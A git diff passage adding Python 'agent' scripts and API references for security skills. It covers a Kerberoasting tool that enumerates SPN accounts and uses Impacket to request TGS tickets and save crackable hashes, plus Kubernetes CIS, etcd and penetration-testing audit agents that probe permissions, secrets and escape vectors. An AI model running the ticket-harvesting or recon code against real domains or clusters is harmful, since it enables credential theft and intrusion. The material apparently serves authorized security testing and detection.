enumeration via PowerShell Get-ADUser.""" + cmd = ["powershell", "-Command", + "Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties ServicePrincipalName,MemberOf,PasswordLastSet | " + "Select-Object SamAccountName,ServicePrincipalName,PasswordLastSet,@{N='Groups';E={$_.MemberOf}} | " + "ConvertTo-Json -Depth 3"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + data = json.loads(result.stdout) + if isinstance(data, dict): + data = [data] + accounts = [{"username": a.get("SamAccountName"), "spns": a.get("ServicePrincipalName", []), + "password_last_set": a.get("PasswordLastSet"), "groups": a.get("Groups", [])} for a in data] + return {"total_spn_accounts": len(accounts), "accounts": accounts[:30]} + except Exception as e: + return {"error": f"PowerShell fallback failed: {e}"} + + +def request_tgs_tickets(domain, username=None): + """Request TGS tickets for Kerberoasting using Impacket GetUserSPNs.""" + cmd = ["python3", "-m", "impacket.examples.GetUserSPNs", + f"{domain}/", "-request", "-outputfile", "/tmp/kerberoast_hashes.txt"] + if username: + cmd += ["-target-user", username] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + hash_file = Path("/tmp/kerberoast_hashes.txt") + hashes = [] + if hash_file.exists(): + for line in hash_file.read_text().strip().splitlines(): + if line.startswith("$krb5tgs$"): + parts = line.split("$") + hashes.append({"hash_type": "krb5tgs", "spn": parts[3] if len(parts) > 3 else "", + "hash_preview": line[:80] + "..."}) + return { + "domain": domain, "hashes_captured": len(hashes), + "output": result.stdout[:500], "hashes": hashes[:20], + "hash_file": str(hash_file) if hashes else None, + } + except FileNotFoundError: + return {"error": "Impacket not installed — pip install impacket"} + except Exception as e: + return {"error": str(e)} + + +def analyze_kerberoast_hashes(hash_file): + """Analyze captured Kerberoast hashes.""" + content = Path(hash_file).read_text(encoding="utf-8", errors="replace") + hashes = [line.strip() for line in content.splitlines() if line.strip().startswith("$krb5tgs$")] + enc_types = {"23": 0, "17": 0, "18": 0} + spns = [] + for h in hashes: + parts = h.split("$") + if len(parts) >= 4: + etype = parts[2] if len(parts) > 2 else "unknown" + enc_types[etype] = enc_types.get(etype, 0) + 1 + spns.append(parts[3] if len(parts) > 3 else "unknown") + crackable_rc4 = enc_types.get("23", 0) + return { + "total_hashes": len(hashes), + "encryption_types": enc_types, + "rc4_crackable": crackable_rc4, + "aes_hashes": enc_types.get("17", 0) + enc_types.get("18", 0), + "spn_targets": spns[:20], + "risk": "HIGH" if crackable_rc4 > 0 else "MEDIUM", + "recommendation": "Disable RC4 (etype 23) and enforce AES encryption" if crackable_rc4 > 0 else "AES encryption in use — harder to crack", + } + + +def detect_kerberoasting(evtx_file=None): + """Detect Kerberoasting from Windows Security Event ID 4769.""" + if evtx_file: + try: + import Evtx.Evtx as evtx + import xml.etree.ElementTree as ET + except ImportError: + return {"error": "python-evtx not installed — pip install python-evtx"} + suspicious = [] + with evtx.Evtx(evtx_file) as log: + for record in log.records(): + xml = record.xml() + root = ET.fromstring(xml) + ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"} + event_id = root.find(".//e:EventID", ns) + if event_id is not None and event_id.text == "4769": + data = {d.get("Name"): d.text for d in root.findall(".//e:Data", ns)} + ticket_enc = data.get("TicketEncryptionType", "") + if ticket_enc == "0x17": + suspicious.append({ + "service": data.get("ServiceName"), "client": data.get("TargetUserName"), + "ip": data.get("IpAddress"), "encryption": "RC4 (0x17)", + }) + return {"evtx_file": evtx_file, "suspicious_tgs_requests": len(suspicious), "events": suspicious[:20]} + cmd = ["wevtutil", "qe", "Security", "/q:*[System[EventID=4769]]", "/f:text", "/c:100"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + rc4_count = result.stdout.lower().count("0x17") + return {"source": "live_event_log", "total_4769_events": result.stdout.count("Event ID"), "rc4_ticket_requests": rc4_count} + except Exception as e: + return {"error": str(e)} + + +def main(): + parser = argparse.ArgumentParser(description="Kerberoasting Attack Agent (Authorized Testing Only)") + sub = parser.add_subparsers(dest="command") + e = sub.add_parser("enum", help="Enumerate SPN accounts") + e.add_argument("--domain", required=True) + r = sub.add_parser("roast", help="Request TGS tickets") + r.add_argument("--domain", required=True) + r.add_argument("--user", help="Target specific user") + a = sub.add_parser("analyze", help="Analyze captured hashes") + a.add_argument("--file", required=True) + d = sub.add_parser("detect", help="Detect Kerberoasting") + d.add_argument("--evtx", help="EVTX file to analyze") + args = parser.parse_args() + if args.command == "enum": + result = enumerate_spn_accounts(args.domain) + elif args.command == "roast": + result = request_tgs_tickets(args.domain, args.user) + elif args.command == "analyze": + result = analyze_kerberoast_hashes(args.file) + elif args.command == "detect": + result = detect_kerberoasting(args.evtx) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-kubernetes-cis-benchmark-with-kube-bench/LICENSE b/skills/performing-kubernetes-cis-benchmark-with-kube-bench/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-kubernetes-cis-benchmark-with-kube-bench/LICENSE +++ b/skills/performing-kubernetes-cis-benchmark-with-kube-bench/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/api-reference.md b/skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/api-reference.md new file mode 100644 index 00000000..3e4af212 --- /dev/null +++ b/skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/api-reference.md @@ -0,0 +1,43 @@ +# API Reference — Performing Kubernetes CIS Benchmark with kube-bench + +## Libraries Used +- **subprocess**: Execute kube-bench, kubectl commands +- **json**: Parse kube-bench JSON output and kubectl resource data + +## CLI Interface +``` +python agent.py bench [--target master|node|etcd|policies] [--benchmark cis-1.8] +python agent.py pods [--namespace default] +python agent.py rbac +python agent.py netpol [--namespace default] +``` + +## Core Functions + +### `run_kube_bench(target, benchmark)` — Execute CIS benchmark scan +Runs kube-bench with JSON output. Returns pass/fail/warn/info summary and compliance percentage. +Targets: master, controlplane, node, etcd, policies. + +### `check_pod_security(namespace)` — Audit pod security contexts +Checks for: privileged containers, root user, writable root filesystem, +dangerous capabilities (SYS_ADMIN, NET_ADMIN, ALL), privilege escalation. + +### `check_rbac_config()` — Audit cluster RBAC +Detects wildcard permissions (`*` verbs on `*` resources), pod creation rights, +and cluster-admin bindings to service accounts/users. + +### `check_network_policies(namespace)` — Verify network segmentation +Flags namespaces with no NetworkPolicy. Lists policy coverage details. + +## Pod Security Issues Detected +| Issue | Description | +|-------|-------------| +| PRIVILEGED_CONTAINER | Container runs in privileged mode | +| RUNS_AS_ROOT | No runAsNonRoot constraint | +| WRITABLE_ROOT_FS | readOnlyRootFilesystem not set | +| DANGEROUS_CAPABILITIES | SYS_ADMIN/NET_ADMIN/ALL added | +| PRIVILEGE_ESCALATION_ALLOWED | allowPrivilegeEscalation not false | + +## Dependencies +System: kube-bench (Aqua Security), kubectl with cluster access +No Python packages required. diff --git a/skills/performing-kubernetes-cis-benchmark-with-kube-bench/scripts/agent.py b/skills/performing-kubernetes-cis-benchmark-with-kube-bench/scripts/agent.py new file mode 100644 index 00000000..d5b2aa1b --- /dev/null +++ b/skills/performing-kubernetes-cis-benchmark-with-kube-bench/scripts/agent.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python3 +"""Agent for performing Kubernetes CIS benchmark assessment with kube-bench.""" + +import json +import argparse +import subprocess +from datetime import datetime + + +def run_kube_bench(target="node", benchmark=None): + """Execute kube-bench CIS benchmark scan.""" + cmd = ["kube-bench", "run", "--json"] + if target in ("master", "controlplane"): + cmd += ["--targets", "master"] + elif target == "node": + cmd += ["--targets", "node"] + elif target == "etcd": + cmd += ["--targets", "etcd"] + elif target == "policies": + cmd += ["--targets", "policies"] + if benchmark: + cmd += ["--benchmark", benchmark] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + data = json.loads(result.stdout) + tests = data.get("Tests", data.get("tests", [])) + summary = {"pass": 0, "fail": 0, "warn": 0, "info": 0} + failures = [] + for section in tests: + for test in section.get("results", section.get("Results", [])): + status = test.get("status", "").lower() + summary[status] = summary.get(status, 0) + 1 + if status == "fail": + failures.append({ + "id": test.get("test_number", test.get("TestNumber", "")), + "desc": test.get("test_desc", test.get("TestDesc", ""))[:200], + "remediation": test.get("remediation", test.get("Remediation", ""))[:300], + "scored": test.get("scored", test.get("IsScored", True)), + }) + return { + "target": target, "timestamp": datetime.utcnow().isoformat(), + "summary": summary, "total_checks": sum(summary.values()), + "compliance_pct": round(summary["pass"] / max(sum(summary.values()), 1) * 100, 1), + "failures": failures, + } + except FileNotFoundError: + return {"error": "kube-bench not found — install from github.com/aquasecurity/kube-bench"} + except json.JSONDecodeError: + return {"error": "Failed to parse kube-bench output", "raw": result.stdout[:500]} + except Exception as e: + return {"error": str(e)} + + +def check_pod_security(namespace="default"): + """Check pod security settings via kubectl.""" + cmd = ["kubectl", "get", "pods", "-n", namespace, "-o", "json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + data = json.loads(result.stdout) + pods = data.get("items", []) + findings = [] + for pod in pods: + name = pod.get("metadata", {}).get("name", "") + for container in pod.get("spec", {}).get("containers", []): + sc = container.get("securityContext", {}) + issues = [] + if sc.get("privileged"): + issues.append("PRIVILEGED_CONTAINER") + if sc.get("runAsUser") == 0 or not sc.get("runAsNonRoot"): + issues.append("RUNS_AS_ROOT") + if not sc.get("readOnlyRootFilesystem"): + issues.append("WRITABLE_ROOT_FS") + caps = sc.get("capabilities", {}) + if caps.get("add") and any(c in caps["add"] for c in ["SYS_ADMIN", "NET_ADMIN", "ALL"]): + issues.append("DANGEROUS_CAPABILITIES") + if not sc.get("allowPrivilegeEscalation") is False: + issues.append("PRIVILEGE_ESCALATION_ALLOWED") + if issues: + findings.append({"pod": name, "container": container.get("name"), "issues": issues}) + return { + "namespace": namespace, "total_pods": len(pods), + "pods_with_issues": len(findings), "findings": findings, + } + except FileNotFoundError: + return {"error": "kubectl not found"} + except Exception as e: + return {"error": str(e)} + + +def check_rbac_config(): + """Audit RBAC configuration for overly permissive roles.""" + findings = [] + for resource in ["clusterroles", "clusterrolebindings"]: + cmd = ["kubectl", "get", resource, "-o", "json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + data = json.loads(result.stdout) + for item in data.get("items", []): + name = item.get("metadata", {}).get("name", "") + if resource == "clusterroles": + for rule in item.get("rules", []): + verbs = rule.get("verbs", []) + resources = rule.get("resources", []) + if "*" in verbs and "*" in resources: + findings.append({"type": "clusterrole", "name": name, "issue": "WILDCARD_ALL_PERMISSIONS"}) + elif "create" in verbs and "pods" in resources: + findings.append({"type": "clusterrole", "name": name, "issue": "CAN_CREATE_PODS"}) + elif resource == "clusterrolebindings": + subjects = item.get("subjects", []) + role_ref = item.get("roleRef", {}).get("name", "") + if role_ref == "cluster-admin": + for subj in subjects: + findings.append({ + "type": "clusterrolebinding", "name": name, + "issue": f"CLUSTER_ADMIN_BOUND_TO_{subj.get('kind', '')}:{subj.get('name', '')}", + }) + except Exception as e: + findings.append({"type": resource, "error": str(e)}) + return {"total_findings": len(findings), "findings": findings} + + +def check_network_policies(namespace="default"): + """Verify network policies exist and cover pods.""" + cmd = ["kubectl", "get", "networkpolicies", "-n", namespace, "-o", "json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + data = json.loads(result.stdout) + policies = data.get("items", []) + if not policies: + return {"namespace": namespace, "finding": "NO_NETWORK_POLICIES", "severity": "HIGH", + "recommendation": "Implement default-deny NetworkPolicy"} + return { + "namespace": namespace, "policy_count": len(policies), + "policies": [{"name": p["metadata"]["name"], + "pod_selector": p.get("spec", {}).get("podSelector", {}), + "ingress_rules": len(p.get("spec", {}).get("ingress", [])), + "egress_rules": len(p.get("spec", {}).get("egress", []))} + for p in policies], + } + except Exception as e: + return {"error": str(e)} + + +def main(): + parser = argparse.ArgumentParser(description="Kubernetes CIS Benchmark Agent (kube-bench)") + sub = parser.add_subparsers(dest="command") + b = sub.add_parser("bench", help="Run kube-bench CIS scan") + b.add_argument("--target", default="node", choices=["master", "controlplane", "node", "etcd", "policies"]) + b.add_argument("--benchmark", help="CIS benchmark version") + p = sub.add_parser("pods", help="Check pod security settings") + p.add_argument("--namespace", default="default") + sub.add_parser("rbac", help="Audit RBAC configuration") + n = sub.add_parser("netpol", help="Check network policies") + n.add_argument("--namespace", default="default") + args = parser.parse_args() + if args.command == "bench": + result = run_kube_bench(args.target, args.benchmark) + elif args.command == "pods": + result = check_pod_security(args.namespace) + elif args.command == "rbac": + result = check_rbac_config() + elif args.command == "netpol": + result = check_network_policies(args.namespace) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-kubernetes-etcd-security-assessment/LICENSE b/skills/performing-kubernetes-etcd-security-assessment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-kubernetes-etcd-security-assessment/LICENSE +++ b/skills/performing-kubernetes-etcd-security-assessment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-kubernetes-etcd-security-assessment/references/api-reference.md b/skills/performing-kubernetes-etcd-security-assessment/references/api-reference.md new file mode 100644 index 00000000..7275e6d3 --- /dev/null +++ b/skills/performing-kubernetes-etcd-security-assessment/references/api-reference.md @@ -0,0 +1,46 @@ +# API Reference — Performing Kubernetes etcd Security Assessment + +## Libraries Used +- **subprocess**: Execute kubectl, etcdctl commands +- **json**: Parse Kubernetes API resource output +- **re**: Extract etcd server URLs from API server arguments + +## CLI Interface +``` +python agent.py [--kubeconfig ~/.kube/config] encrypt +python agent.py access --endpoint https://127.0.0.1:2379 [--cert client.crt --key client.key --cacert ca.crt] +python agent.py secrets +python agent.py tls +python agent.py full [--endpoint https://127.0.0.1:2379] +``` + +## Core Functions + +### `check_etcd_encryption(kubeconfig)` — Verify encryption at rest +Inspects kube-apiserver pod args for `--encryption-provider-config`, audit logging, TLS. + +### `check_etcd_access(endpoint, cert, key, cacert)` — Test access controls +Uses etcdctl to check health and test for unauthenticated read access. +CRITICAL finding if data readable without credentials. + +### `dump_secrets_check(kubeconfig)` — Audit stored secrets +Lists all cluster secrets, categorizes by type, identifies sensitive naming patterns. + +### `check_etcd_tls_config()` — Verify TLS certificates +Checks etcd pod args for peer TLS, client TLS, and client certificate authentication. + +### `full_assessment(kubeconfig, endpoint)` — Comprehensive security scan +Combines all checks into single report with risk level classification. + +## Security Checks +| Check | Flag | Risk | +|-------|------|------| +| Encryption at rest | --encryption-provider-config | CRITICAL if missing | +| Client TLS | --cert-file / --key-file | HIGH if missing | +| Peer TLS | --peer-cert-file / --peer-key-file | HIGH if missing | +| Client cert auth | --client-cert-auth=true | MEDIUM if missing | +| Unauthenticated access | etcdctl get without certs | CRITICAL | + +## Dependencies +System: kubectl, etcdctl (etcd client) +No Python packages required. diff --git a/skills/performing-kubernetes-etcd-security-assessment/scripts/agent.py b/skills/performing-kubernetes-etcd-security-assessment/scripts/agent.py new file mode 100644 index 00000000..27148306 --- /dev/null +++ b/skills/performing-kubernetes-etcd-security-assessment/scripts/agent.py @@ -0,0 +1,184 @@ +#!/usr/bin/env python3 +"""Agent for performing Kubernetes etcd security assessment.""" + +import json +import argparse +import subprocess +import re +from datetime import datetime + + +def check_etcd_encryption(kubeconfig=None): + """Check if etcd encryption at rest is configured.""" + cmd = ["kubectl", "get", "apiserver", "-o", "json"] + if kubeconfig: + cmd += ["--kubeconfig", kubeconfig] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + enc_cmd = ["kubectl", "get", "pods", "-n", "kube-system", "-l", "component=kube-apiserver", "-o", "json"] + if kubeconfig: + enc_cmd += ["--kubeconfig", kubeconfig] + result = subprocess.run(enc_cmd, capture_output=True, text=True, timeout=30) + data = json.loads(result.stdout) + findings = [] + for pod in data.get("items", []): + containers = pod.get("spec", {}).get("containers", []) + for c in containers: + args_list = c.get("command", []) + c.get("args", []) + args_str = " ".join(args_list) + has_encryption = "--encryption-provider-config" in args_str + has_audit = "--audit-log-path" in args_str + etcd_servers = re.findall(r"--etcd-servers=([^\s]+)", args_str) + uses_tls = all("https" in s for s in etcd_servers) if etcd_servers else False + findings.append({ + "pod": pod.get("metadata", {}).get("name"), + "encryption_at_rest": has_encryption, + "audit_logging": has_audit, + "etcd_tls": uses_tls, + "etcd_servers": etcd_servers, + }) + return {"checks": findings, "timestamp": datetime.utcnow().isoformat()} + except Exception as e: + return {"error": str(e)} + + +def check_etcd_access(etcd_endpoint="https://127.0.0.1:2379", cert=None, key=None, cacert=None): + """Test etcd access and check for unauthenticated access.""" + cmd = ["etcdctl", "endpoint", "health", "--endpoints", etcd_endpoint] + if cert: + cmd += ["--cert", cert, "--key", key, "--cacert", cacert] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) + healthy = "healthy" in result.stdout.lower() + unauth_cmd = ["etcdctl", "get", "/", "--prefix", "--limit", "1", "--endpoints", etcd_endpoint] + unauth_result = subprocess.run(unauth_cmd, capture_output=True, text=True, timeout=10) + unauth_access = unauth_result.returncode == 0 and unauth_result.stdout.strip() + return { + "endpoint": etcd_endpoint, + "healthy": healthy, + "unauthenticated_access": unauth_access, + "severity": "CRITICAL" if unauth_access else "INFO", + "finding": "ETCD_UNAUTHENTICATED_ACCESS" if unauth_access else "ETCD_AUTH_REQUIRED", + } + except FileNotFoundError: + return {"error": "etcdctl not found"} + except Exception as e: + return {"error": str(e)} + + +def dump_secrets_check(kubeconfig=None): + """Check if secrets are stored unencrypted in etcd.""" + cmd = ["kubectl", "get", "secrets", "--all-namespaces", "-o", "json"] + if kubeconfig: + cmd += ["--kubeconfig", kubeconfig] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + data = json.loads(result.stdout) + secrets = data.get("items", []) + secret_types = {} + sensitive = [] + for s in secrets: + stype = s.get("type", "Opaque") + secret_types[stype] = secret_types.get(stype, 0) + 1 + name = s.get("metadata", {}).get("name", "") + ns = s.get("metadata", {}).get("namespace", "") + if any(kw in name.lower() for kw in ["password", "token", "key", "cert", "credential", "tls"]): + sensitive.append({"name": name, "namespace": ns, "type": stype}) + return { + "total_secrets": len(secrets), + "by_type": secret_types, + "sensitive_secrets": sensitive[:20], + "recommendation": "Enable EncryptionConfiguration for secrets at rest", + } + except Exception as e: + return {"error": str(e)} + + +def check_etcd_tls_config(): + """Verify etcd TLS certificate configuration.""" + cmd = ["kubectl", "get", "pods", "-n", "kube-system", "-l", "component=etcd", "-o", "json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + data = json.loads(result.stdout) + findings = [] + for pod in data.get("items", []): + for c in pod.get("spec", {}).get("containers", []): + args_str = " ".join(c.get("command", []) + c.get("args", [])) + peer_tls = "--peer-cert-file" in args_str and "--peer-key-file" in args_str + client_tls = "--cert-file" in args_str and "--key-file" in args_str + client_auth = "--client-cert-auth=true" in args_str or "--client-cert-auth true" in args_str + findings.append({ + "pod": pod.get("metadata", {}).get("name"), + "peer_tls_enabled": peer_tls, + "client_tls_enabled": client_tls, + "client_cert_auth": client_auth, + "issues": [ + i for i in [ + "NO_PEER_TLS" if not peer_tls else None, + "NO_CLIENT_TLS" if not client_tls else None, + "NO_CLIENT_CERT_AUTH" if not client_auth else None, + ] if i + ], + }) + return {"etcd_tls_checks": findings} + except Exception as e: + return {"error": str(e)} + + +def full_assessment(kubeconfig=None, etcd_endpoint=None): + """Run comprehensive etcd security assessment.""" + results = { + "timestamp": datetime.utcnow().isoformat(), + "encryption": check_etcd_encryption(kubeconfig), + "secrets": dump_secrets_check(kubeconfig), + "tls": check_etcd_tls_config(), + } + if etcd_endpoint: + results["access"] = check_etcd_access(etcd_endpoint) + issues = [] + enc = results["encryption"] + if isinstance(enc, dict) and enc.get("checks"): + for c in enc["checks"]: + if not c.get("encryption_at_rest"): + issues.append("ENCRYPTION_AT_REST_DISABLED") + if not c.get("etcd_tls"): + issues.append("ETCD_COMMUNICATION_NOT_TLS") + results["critical_issues"] = list(set(issues)) + results["risk_level"] = "CRITICAL" if issues else "LOW" + return results + + +def main(): + parser = argparse.ArgumentParser(description="Kubernetes etcd Security Assessment Agent") + parser.add_argument("--kubeconfig", help="Path to kubeconfig file") + sub = parser.add_subparsers(dest="command") + sub.add_parser("encrypt", help="Check encryption at rest") + a = sub.add_parser("access", help="Test etcd access") + a.add_argument("--endpoint", default="https://127.0.0.1:2379") + a.add_argument("--cert", help="Client certificate") + a.add_argument("--key", help="Client key") + a.add_argument("--cacert", help="CA certificate") + sub.add_parser("secrets", help="Check secrets storage") + sub.add_parser("tls", help="Check TLS configuration") + f = sub.add_parser("full", help="Full assessment") + f.add_argument("--endpoint", help="etcd endpoint URL") + args = parser.parse_args() + kc = args.kubeconfig if hasattr(args, "kubeconfig") else None + if args.command == "encrypt": + result = check_etcd_encryption(kc) + elif args.command == "access": + result = check_etcd_access(args.endpoint, args.cert, args.key, args.cacert) + elif args.command == "secrets": + result = dump_secrets_check(kc) + elif args.command == "tls": + result = check_etcd_tls_config() + elif args.command == "full": + result = full_assessment(kc, args.endpoint if hasattr(args, "endpoint") else None) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-kubernetes-penetration-testing/LICENSE b/skills/performing-kubernetes-penetration-testing/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-kubernetes-penetration-testing/LICENSE +++ b/skills/performing-kubernetes-penetration-testing/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-kubernetes-penetration-testing/references/api-reference.md b/skills/performing-kubernetes-penetration-testing/references/api-reference.md new file mode 100644 index 00000000..20040886 --- /dev/null +++ b/skills/performing-kubernetes-penetration-testing/references/api-reference.md @@ -0,0 +1,40 @@ +# API Reference — Performing Kubernetes Penetration Testing + +## Libraries Used +- **subprocess**: Execute kubectl commands for cluster reconnaissance and testing +- **json**: Parse Kubernetes API JSON output + +## CLI Interface +``` +python agent.py recon +python agent.py sa-perms [--namespace default] +python agent.py dashboards +python agent.py escape [--namespace default] +``` + +## Core Functions + +### `enumerate_cluster_info()` — Cluster reconnaissance +Gathers: K8s version, node info (OS, kubelet), namespaces, services with types/ports. + +### `test_service_account_permissions(namespace)` — RBAC permission testing +Tests 8 permissions via `kubectl auth can-i`: +get pods, list/get secrets, create pods, exec into pods, get nodes, list namespaces, create clusterroles. + +### `scan_exposed_dashboards()` — Find management interfaces +Searches for: dashboard, grafana, prometheus, kibana, jaeger, argocd, rancher, lens. +Flags LoadBalancer/NodePort services as externally accessible. + +### `check_pod_escape_vectors(namespace)` — Container escape analysis +Detects: privileged mode, CAP_SYS_ADMIN/SYS_PTRACE, hostPath mounts (/, /etc, docker.sock, /proc, /sys), +hostPID namespace, hostNetwork. + +## Dangerous Permissions (CRITICAL) +- `list secrets` / `get secrets --all-namespaces` +- `create pods` (pod creation with escalation) +- `create pods/exec` (remote code execution) +- `create clusterroles` (RBAC escalation) + +## Dependencies +System: kubectl with cluster access +No Python packages required. diff --git a/skills/performing-kubernetes-penetration-testing/scripts/agent.py b/skills/performing-kubernetes-penetration-testing/scripts/agent.py new file mode 100644 index 00000000..d2e896cf --- /dev/null +++ b/skills/performing-kubernetes-penetration-testing/scripts/agent.py @@ -0,0 +1,156 @@ +#!/usr/bin/env python3 +"""Agent for performing Kubernetes penetration testing — authorized testing only.""" + +import json +import argparse +import subprocess +from datetime import datetime + + +def enumerate_cluster_info(): + """Enumerate basic cluster information for reconnaissance.""" + results = {} + cmds = { + "version": ["kubectl", "version", "--output=json"], + "nodes": ["kubectl", "get", "nodes", "-o", "json"], + "namespaces": ["kubectl", "get", "namespaces", "-o", "json"], + "services": ["kubectl", "get", "services", "--all-namespaces", "-o", "json"], + } + for key, cmd in cmds.items(): + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + data = json.loads(result.stdout) if result.returncode == 0 else {"error": result.stderr[:200]} + if key == "nodes": + results[key] = [{"name": n["metadata"]["name"], + "roles": [l.replace("node-role.kubernetes.io/", "") for l in n["metadata"].get("labels", {}) if l.startswith("node-role")], + "os": n.get("status", {}).get("nodeInfo", {}).get("osImage", ""), + "kubelet": n.get("status", {}).get("nodeInfo", {}).get("kubeletVersion", "")} + for n in data.get("items", [])] + elif key == "namespaces": + results[key] = [n["metadata"]["name"] for n in data.get("items", [])] + elif key == "services": + results[key] = [{"name": s["metadata"]["name"], "ns": s["metadata"]["namespace"], + "type": s["spec"]["type"], "ports": [p.get("port") for p in s["spec"].get("ports", [])]} + for s in data.get("items", [])] + else: + results[key] = data + except Exception as e: + results[key] = {"error": str(e)} + return {"timestamp": datetime.utcnow().isoformat(), **results} + + +def test_service_account_permissions(namespace="default"): + """Test what the default service account can do.""" + checks = [ + ("get_pods", ["kubectl", "auth", "can-i", "get", "pods", "-n", namespace]), + ("list_secrets", ["kubectl", "auth", "can-i", "list", "secrets", "-n", namespace]), + ("create_pods", ["kubectl", "auth", "can-i", "create", "pods", "-n", namespace]), + ("exec_pods", ["kubectl", "auth", "can-i", "create", "pods/exec", "-n", namespace]), + ("get_nodes", ["kubectl", "auth", "can-i", "get", "nodes"]), + ("list_namespaces", ["kubectl", "auth", "can-i", "list", "namespaces"]), + ("create_clusterroles", ["kubectl", "auth", "can-i", "create", "clusterroles"]), + ("get_secrets_all", ["kubectl", "auth", "can-i", "get", "secrets", "--all-namespaces"]), + ] + results = [] + for name, cmd in checks: + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) + allowed = "yes" in result.stdout.lower() + results.append({"check": name, "allowed": allowed}) + except Exception as e: + results.append({"check": name, "error": str(e)}) + dangerous = [r for r in results if r.get("allowed") and r["check"] in ("list_secrets", "create_pods", "exec_pods", "create_clusterroles", "get_secrets_all")] + return { + "namespace": namespace, "permissions": results, + "dangerous_permissions": dangerous, + "risk": "CRITICAL" if dangerous else "LOW", + } + + +def scan_exposed_dashboards(): + """Check for exposed Kubernetes dashboards and management interfaces.""" + cmd = ["kubectl", "get", "services", "--all-namespaces", "-o", "json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + data = json.loads(result.stdout) + dashboard_patterns = ["dashboard", "grafana", "prometheus", "kibana", "jaeger", "argocd", "rancher", "lens"] + exposed = [] + for svc in data.get("items", []): + name = svc["metadata"]["name"].lower() + svc_type = svc["spec"]["type"] + if any(p in name for p in dashboard_patterns): + ports = [{"port": p.get("port"), "nodePort": p.get("nodePort")} for p in svc["spec"].get("ports", [])] + exposed.append({ + "name": svc["metadata"]["name"], "namespace": svc["metadata"]["namespace"], + "type": svc_type, "ports": ports, + "externally_accessible": svc_type in ("LoadBalancer", "NodePort"), + }) + return {"dashboards_found": len(exposed), "exposed": exposed} + except Exception as e: + return {"error": str(e)} + + +def check_pod_escape_vectors(namespace="default"): + """Check for container escape vectors in running pods.""" + cmd = ["kubectl", "get", "pods", "-n", namespace, "-o", "json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + data = json.loads(result.stdout) + escape_vectors = [] + for pod in data.get("items", []): + name = pod["metadata"]["name"] + for c in pod.get("spec", {}).get("containers", []): + vectors = [] + sc = c.get("securityContext", {}) + if sc.get("privileged"): + vectors.append("PRIVILEGED_MODE") + caps = sc.get("capabilities", {}).get("add", []) + if "SYS_ADMIN" in caps: + vectors.append("CAP_SYS_ADMIN") + if "SYS_PTRACE" in caps: + vectors.append("CAP_SYS_PTRACE") + for vol in pod.get("spec", {}).get("volumes", []): + hp = vol.get("hostPath", {}).get("path", "") + if hp in ("/", "/etc", "/var/run/docker.sock", "/proc", "/sys"): + vectors.append(f"HOST_PATH_MOUNT:{hp}") + if pod.get("spec", {}).get("hostPID"): + vectors.append("HOST_PID_NAMESPACE") + if pod.get("spec", {}).get("hostNetwork"): + vectors.append("HOST_NETWORK") + if vectors: + escape_vectors.append({"pod": name, "container": c["name"], "vectors": vectors}) + return { + "namespace": namespace, "pods_checked": len(data.get("items", [])), + "pods_with_escape_vectors": len(escape_vectors), + "details": escape_vectors, + } + except Exception as e: + return {"error": str(e)} + + +def main(): + parser = argparse.ArgumentParser(description="Kubernetes Penetration Testing Agent (Authorized Only)") + sub = parser.add_subparsers(dest="command") + sub.add_parser("recon", help="Enumerate cluster info") + sa = sub.add_parser("sa-perms", help="Test service account permissions") + sa.add_argument("--namespace", default="default") + sub.add_parser("dashboards", help="Find exposed dashboards") + e = sub.add_parser("escape", help="Check container escape vectors") + e.add_argument("--namespace", default="default") + args = parser.parse_args() + if args.command == "recon": + result = enumerate_cluster_info() + elif args.command == "sa-perms": + result = test_service_account_permissions(args.namespace) + elif args.command == "dashboards": + result = scan_exposed_dashboards() + elif args.command == "escape": + result = check_pod_escape_vectors(args.namespace) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-lateral-movement-detection/LICENSE b/skills/performing-lateral-movement-detection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-lateral-movement-detection/LICENSE +++ b/skills/performing-lateral-movement-detection/LICENSE @@ -1,6 +1,6 @@ MIT License 